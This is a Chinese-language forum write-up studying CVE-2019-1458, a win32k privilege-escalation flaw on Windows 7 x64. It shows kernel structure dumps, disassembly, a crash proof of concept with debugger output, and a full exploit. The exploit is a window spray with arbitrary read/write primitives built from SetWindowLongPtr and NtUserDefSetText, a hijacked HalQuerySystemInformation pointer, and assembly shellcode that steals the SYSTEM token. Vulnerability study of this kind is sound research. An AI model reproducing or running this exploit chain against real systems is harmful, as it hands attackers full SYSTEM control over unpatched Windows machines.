其他
CVE-2019-1458提权漏洞学习笔记
本文为看雪论坛优秀文章
看雪论坛作者ID:1900
一
前言
1.漏洞描述
2.实验环境
操作系统:Win7 x64 sp1 专业版
编译器:Visual Studio 2017
调试器:IDA Pro,WinDbg
二
漏洞分析
2: kd> dt win32k!tagWND -v
struct tagWND, 170 elements, 0x128 bytes
+0x000 head : struct _THRDESKHEAD, 5 elements, 0x28 bytes
+0x028 state : Uint4B
+0x02c state2 : Uint4B
+0x030 ExStyle : Uint4B
+0x034 style : Uint4B
+0x038 hModule : Ptr64 to Void
+0x040 hMod16 : Uint2B
+0x042 fnid : Uint2B
+0x048 spwndNext : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x050 spwndPrev : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x058 spwndParent : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x060 spwndChild : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x068 spwndOwner : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x070 rcWindow : struct tagRECT, 4 elements, 0x10 bytes
+0x080 rcClient : struct tagRECT, 4 elements, 0x10 bytes
+0x090 lpfnWndProc : Ptr64 to int64
+0x098 pcls : Ptr64 to struct tagCLS, 25 elements, 0xa0 bytes
+0x0a0 hrgnUpdate : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes
+0x0a8 ppropList : Ptr64 to struct tagPROPLIST, 3 elements, 0x18 bytes
+0x0b0 pSBInfo : Ptr64 to struct tagSBINFO, 3 elements, 0x24 bytes
+0x0b8 spmenuSys : Ptr64 to struct tagMENU, 19 elements, 0x98 bytes
+0x0c0 spmenu : Ptr64 to struct tagMENU, 19 elements, 0x98 bytes
+0x0c8 hrgnClip : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes
+0x0d0 hrgnNewFrame : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes
+0x0d8 strName : struct _LARGE_UNICODE_STRING, 4 elements, 0x10 bytes
+0x0e8 cbwndExtra : Int4B
+0x0f0 spwndLastActive : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x0f8 hImc : Ptr64 to struct HIMC__, 1 elements, 0x4 bytes
+0x100 dwUserData : Uint8B
+0x108 pActCtx : Ptr64 to struct _ACTIVATION_CONTEXT, 0 elements, 0x0 bytes
+0x110 pTransform : Ptr64 to struct _D3DMATRIX, 16 elements, 0x40 bytes
+0x118 spwndClipboardListenerNext : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x120 ExStyle2 : Uint4B
.text:FFFFF97FFF111DEC ; void __fastcall xxxPaintSwitchWindow(__int64 tagWND)
.text:FFFFF97FFF111DEC
.text:FFFFF97FFF111E15 xor r13d, r13d
.text:FFFFF97FFF111E08 mov rsi, rcx ; 将tagWND赋给rsi
.text:FFFFF97FFF111E4F mov rdi, [rsi+128h] ; 取出扩展区域最开始的八字节保存的内容
.text:FFFFF97FFF111E56 jmp short loc_FFFFF97FFF111E5B
.text:FFFFF97FFF111E5B loc_FFFFF97FFF111E5B:
.text:FFFFF97FFF111E5B cmp rdi, r13 ; 验证rdi是否为0
.text:FFFFF97FFF111E5E jz loc_FFFFF97FFF112019
// 省略部分代码
.text:FFFFF97FFF111E77 cmp [rdi+6Ch], r13d ; 验证[rdi+0x6C]保存的内容是否为0
.text:FFFFF97FFF111E7B jz short loc_FFFFF97FFF111E94
三
漏洞验证
__int64 __fastcall NtUserMessageCall(__int64 hwnd, unsigned int msg, __int64 wParam, __int64 lParam, __int64 ResultInfo, int dwType, int a7)
{
if ( (unsigned int)msg < 0x400 )
{
v14 = ((__int64 (__fastcall *)(__int64, _QWORD, __int64, __int64, __int64, int, int))gapfnMessageCall[*(_BYTE *)(msg - 0x68001000000i64 + 0x2A7390) & 0x3F])(
v12,
(unsigned int)msg,
wParam,
lParam,
ResultInfo,
dwType,
v15);
}
}
__int64 __fastcall NtUserfnINLPDRAWITEMSTRUCT(__int64 a1, unsigned int a2, __int64 a3, const void *a4, __int64 a5, char dwType)
{
return (*(__int64 (__fastcall **)(__int64, _QWORD, __int64, char *, __int64))(gpsi + 8i64 * ((dwType + 6) & 0x1F) + 0x10))( v8,
v7,
v6,
&Dst,
a5);
}
#define WM_CREATE 0x0001
switch ( msg )
{
case 0x14u:
case 0x3Au:
xxxPaintSwitchWindow(tagWND);
return 0i64;
}
#define WM_ERASEBKGND 0x0014
BOOL POC_CVE_2019_1458()
{
BOOL bRet = TRUE;
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
char *pBuf = "POC";
WNDCLASSEX wc = { 0 };
wc.cbSize = sizeof(wc);
wc.cbWndExtra = 8;
wc.hInstance = handle;
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = pBuf;
if (!RegisterClassEx(&wc))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}
HWND hPocWnd = NULL;
// 创建用来触发漏洞的窗口,指定窗口带有WS_VISIBLE
hPocWnd = CreateWindowEx(0, pBuf, NULL, WS_VISIBLE, 0, 0, 0, 0,
NULL, NULL, handle, NULL);
if (!hPocWnd)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
// 设置tagWND->fnid为0x2A0
NtUserMessageCall(hPocWnd, WM_CREATE, 0, 0, 0, 0, 0);
// 设置内存地址
SetWindowLongPtrW(hPocWnd, 0, 0x1900);
// 设置[gpsi + 0x154] = 0x130
if (!CreateWindowEx(0, "#32771", NULL, 0, 0, 0, 0, 0,
NULL, NULL, handle, NULL))
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
// 触发漏洞
NtUserMessageCall(hPocWnd, WM_ERASEBKGND, 0, 0, 0, 0, 0);
exit:
return bRet;
}
3: kd> ba e1 win32k!xxxPaintSwitchWindow + 0x63
3: kd> g
Breakpoint 0 hit
win32k!xxxPaintSwitchWindow+0x63:
fffff960`00201e4f 488bbe28010000 mov rdi,qword ptr [rsi+128h]
0: kd> p
win32k!xxxPaintSwitchWindow+0x6a:
fffff960`00201e56 eb03 jmp win32k!xxxPaintSwitchWindow+0x6f (fffff960`00201e5b)
3: kd> p
win32k!xxxPaintSwitchWindow+0x6f:
fffff960`00201e5b 493bfd cmp rdi,r13
3: kd> p
win32k!xxxPaintSwitchWindow+0x72:
fffff960`00201e5e 0f84b5010000 je win32k!xxxPaintSwitchWindow+0x22d (fffff960`00202019)
3: kd> p
win32k!xxxPaintSwitchWindow+0x78:
fffff960`00201e64 33d2 xor edx,edx
3: kd> p
win32k!xxxPaintSwitchWindow+0x7a:
fffff960`00201e66 41b800000100 mov r8d,10000h
3: kd> p
win32k!xxxPaintSwitchWindow+0x80:
fffff960`00201e6c 488bce mov rcx,rsi
3: kd> p
win32k!xxxPaintSwitchWindow+0x83:
fffff960`00201e6f e8dccbfaff call win32k!GetDCEx (fffff960`001aea50)
3: kd> p
win32k!xxxPaintSwitchWindow+0x88:
fffff960`00201e74 488be8 mov rbp,rax
3: kd> p
win32k!xxxPaintSwitchWindow+0x8b:
fffff960`00201e77 44396f6c cmp dword ptr [rdi+6Ch],r13d
3: kd> r rdi
rdi=0000000000001900
3: kd> dq 0000000000001900
00000000`00001900 ????????`???????? ????????`????????
00000000`00001910 ????????`???????? ????????`????????
00000000`00001920 ????????`???????? ????????`????????
00000000`00001930 ????????`???????? ????????`????????
00000000`00001940 ????????`???????? ????????`????????
00000000`00001950 ????????`???????? ????????`????????
00000000`00001960 ????????`???????? ????????`????????
00000000`00001970 ????????`???????? ????????`????????
1: kd> !analyze -v
Connected to Windows 7 7601 x64 target at (Sun Jun 26 10:54:16.859 2022 (UTC + 8:00)), ptr64 TRUE
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff96000131e77, Address of the instruction which caused the bugcheck
Arg3: fffff88006916ea0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.
CONTEXT: fffff88006916ea0 -- (.cxr 0xfffff88006916ea0)
rax=0000000006010568 rbx=fffff900c08209e0 rcx=0000000000000000
rdx=fffffa800525a630 rsi=fffff900c08209e0 rdi=0000000000001900
rip=fffff96000131e77 rsp=fffff88006917880 rbp=0000000006010568
r8=0000000000000000 r9=0000000000000000 r10=fffff880069176c0
r11=fffffa800525a630 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010282
win32k!xxxPaintSwitchWindow+0x8b:
fffff960`00131e77 44396f6c cmp dword ptr [rdi+6Ch],r13d ds:002b:00000000`0000196c=????????
Resetting default scope
PROCESS_NAME: exp_x64.exe
STACK_TEXT:
win32k!xxxPaintSwitchWindow+0x8b
win32k!xxxSwitchWndProc+0xc5
win32k!xxxWrapSwitchWndProc+0x3c
win32k!NtUserfnDWORD+0x27
win32k!NtUserMessageCall+0x132
nt!KiSystemServiceCopyEnd+0x13
exp_x64+0x107b
exp_x64+0x3f81a
四
漏洞利用
BOOL Init_CVE_2019_1458(HWND *hWndList)
{
BOOL bRet = TRUE;
WNDCLASSEX wc = { 0 };
char *pAttackName = "Attack";
DWORD i = 0;
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
memset(&wc, 0, sizeof(wc));
wc.cbSize = sizeof(wc);
wc.hInstance = GetModuleHandle(NULL);
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = pAttackName;
wc.cbWndExtra = 8;
if (!RegisterClassEx(&wc))
{
ShowError("RegisterClassEx", GetLastError());
bRet = FALSE;
goto exit;
}
// 创建用来攻击的窗口
for (i = 0; i < 100; i++)
{
hWndList[i] = CreateWindowEx(NULL,
pAttackName,
"Hack Window",
WS_VISIBLE,
0, 0, 0, 0,
NULL,
0,
handle,
0);
if (!hWndList[i])
{
ShowError("CreateWindowEx", GetLastError());
bRet = FALSE;
goto exit;
}
}
// 释放其中的一部分用来保存触发漏洞时候创建的窗口
for (i = 20; i < 80; i += 2)
{
if (!DestroyWindow(hWndList[i]))
{
ShowError("DestroyWindow", GetLastError());
bRet = FALSE;
goto exit;
}
hWndList[i] = NULL;
}
exit:
return bRet;
}
BOOL Trigger_CVE_2019_1458(HWND *hWndList)
{
BOOL bRet = TRUE;
HINSTANCE handle = NULL;
lHMValidateHandle HMValidateHandle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
if (!HMValidateHandle)
{
bRet = FALSE;
goto exit;
}
char *pBuf = "Trigger";
WNDCLASSEX wc = { 0 };
wc.cbSize = sizeof(wc);
wc.cbWndExtra = 8;
wc.hInstance = handle;
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = pBuf;
if (!RegisterClassEx(&wc))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}
HWND hTriggerWnd = NULL;
// 创建用来触发漏洞的窗口,指定窗口带有WS_VISIBLE
hTriggerWnd = CreateWindowEx(0, pBuf, NULL, WS_VISIBLE, 0, 0, 0, 0,
NULL, NULL, handle, NULL);
if (!hTriggerWnd)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
// 寻找用来攻击的窗口
ULONG64 ulTriggerAddr = 0, ulAttackAddr = 0, i = 0;
PTHRDESKHEAD pTriggerHead = (PTHRDESKHEAD)HMValidateHandle(hTriggerWnd, TYPE_WINDOW);
ulTriggerAddr = (ULONG64)pTriggerHead->pSelf;
HWND hAttackWnd = NULL;
for (i = 0; i < 100; i++)
{
if (hWndList[i])
{
PTHRDESKHEAD pAttackHead = (PTHRDESKHEAD)HMValidateHandle(hWndList[i], TYPE_WINDOW);
ulAttackAddr = (ULONG64)pAttackHead->pSelf;
if (ulAttackAddr > ulTriggerAddr && ulAttackAddr - ulTriggerAddr < 0xFF0000)
{
hAttackWnd = hWndList[i];
break;
}
}
}
if (!hAttackWnd)
{
printf("Do not find Attack tagWND\n");
bRet = FALSE;
goto exit;
}
// 设置tagWND->fnid为0x2A0
NtUserMessageCall(hTriggerWnd, WM_CREATE, 0, 0, 0, 0, 0);
// 设置内存地址
ULONG64 ulValue = ulTriggerAddr + 0xE8 - 0x60;
SetWindowLongPtrW(hTriggerWnd, 0, ulValue);
// 设置[gpsi + 0x154] = 0x130
if (!CreateWindowEx(0, "#32771", NULL, 0, 0, 0, 0, 0,
NULL, NULL, handle, NULL))
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
// 模拟Alt按键
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);
// 触发漏洞
NtUserMessageCall(hTriggerWnd, WM_ERASEBKGND, 0, 0, 0, 0, 0);
ULONG64 ulOffset = ulAttackAddr - ulTriggerAddr - 0x128;
if (!EnablePrivilege_CVE_2019_1458(hTriggerWnd, hAttackWnd, ulOffset))
{
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
BOOL EnablePrivilege_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, ULONG64 ulOffset)
{
BOOL bRet = TRUE;
PVOID pTargetAddr = NULL;
pTargetAddr = GetHalQuerySystemInformation();
if (!pTargetAddr)
{
bRet = FALSE;
goto exit;
}
ULONG64 ulOrgFunAddr = 0;
// 获取原函数地址
ulOrgFunAddr = ReadData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, ulOffset);
// 将函数修改为ShellCode地址
WriteData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, ShellCodeInWin7, ulOffset);
// 调用函数执行ShellCode实现提权
if (!CallNtQueryIntervalProfile())
{
bRet = FALSE;
goto exit;
}
// 恢复原函数
WriteData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, (PVOID)ulOrgFunAddr, ulOffset);
exit:
return bRet;
}
VOID WriteData_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, PVOID pTargetAddr, PVOID pValue, ULONG64 ulOffset)
{
BOOL bRet = TRUE;
// 设置要写入的地址
SetWindowLongPtrW(hTriggerWnd, ulOffset + 0xE0, (ULONG64)pTargetAddr);
LARGE_UNICODE_STRING lstrData = { 0 };
lstrData.Length = 0x8;
lstrData.MaximumLength = 0xA;
lstrData.Buffer = (PWCHAR)&pValue;
NtUserDefSetText(hAttackWnd, &lstrData);
}
ULONG64 ReadData_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, PVOID pTargetAddr, ULONG64 ulOffset)
{
ULONG64 ulOrg = 0, ulOrgPar = 0;
ULONG64 ulParOffset = ulOffset + 0x58;
// 获取tagWND->spwndParent
ulOrgPar = GetWindowLongPtrW(hTriggerWnd, ulParOffset);
// 设置tagWND->spwndParent为目标地址
SetWindowLongPtrW(hTriggerWnd, ulParOffset, (ULONG64)pTargetAddr);
// 读取目标地址内容
ulOrg = (ULONG64)GetAncestor(hAttackWnd, GA_PARENT);
// 恢复tagWND->spwndParent
SetWindowLongPtrW(hTriggerWnd, ulParOffset, ulOrgPar);
return ulOrg;
}
五
运行结果
3: kd> dt _EPROCESS
ntdll!_EPROCESS
+0x180 UniqueProcessId : Ptr64 Void
+0x188 ActiveProcessLinks : _LIST_ENTRY
+0x208 Token : _EX_FAST_REF
kd> dt _OBJECT_HEADER
nt!_OBJECT_HEADER
+0x000 PointerCount : Int8B
+0x008 HandleCount : Int8B
+0x008 NextToFree : Ptr64 Void
+0x010 Lock : _EX_PUSH_LOCK
+0x018 TypeIndex : UChar
+0x019 TraceFlags : UChar
+0x01a InfoMask : UChar
+0x01b Flags : UChar
+0x020 ObjectCreateInfo : Ptr64 _OBJECT_CREATE_INFORMATION
+0x020 QuotaBlockCharged : Ptr64 Void
+0x028 SecurityDescriptor : Ptr64 Void
+0x030 Body : _QUAD
ShellCodeInWin7 proc
push r8
push r9
; 从KPCR中获取当前线程_ETHREAD
mov rax, gs:[188h]
; 从_ETHREAD中获取当前进程_EPROCESS
mov rax, [rax + 70h]
mov r8, rax
find_system_proc:
; 获取下一进程EPROCESS地址
mov rax, [rax + 188h]
sub rax, 188h
; 获取PID
mov rdx, [rax + 180h]
; 判断pid是否为4,不为4则跳转
cmp rdx, 4
jne find_system_proc
; 将system的token赋值给本进程,并增加引用计数
mov rax, [rax + 208h]
and al, 0f0h
mov [r8 + 208h], rax
mov r9, 2
add [rax - 30h], r9
; 设置返回值,退出函数
mov rax, 1
pop r9
pop r8
ret
ShellCodeInWin7 endp
参考资料
https://bbs.pediy.com/thread-260268.htm
https://blog.csdn.net/qq_41252520/article/details/120308729
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
2.Frida inlineHook原理分析及简单设计一款AArch64 inlineHook工具
球分享
球点赞
球在看
点击“阅读原文”,了解更多!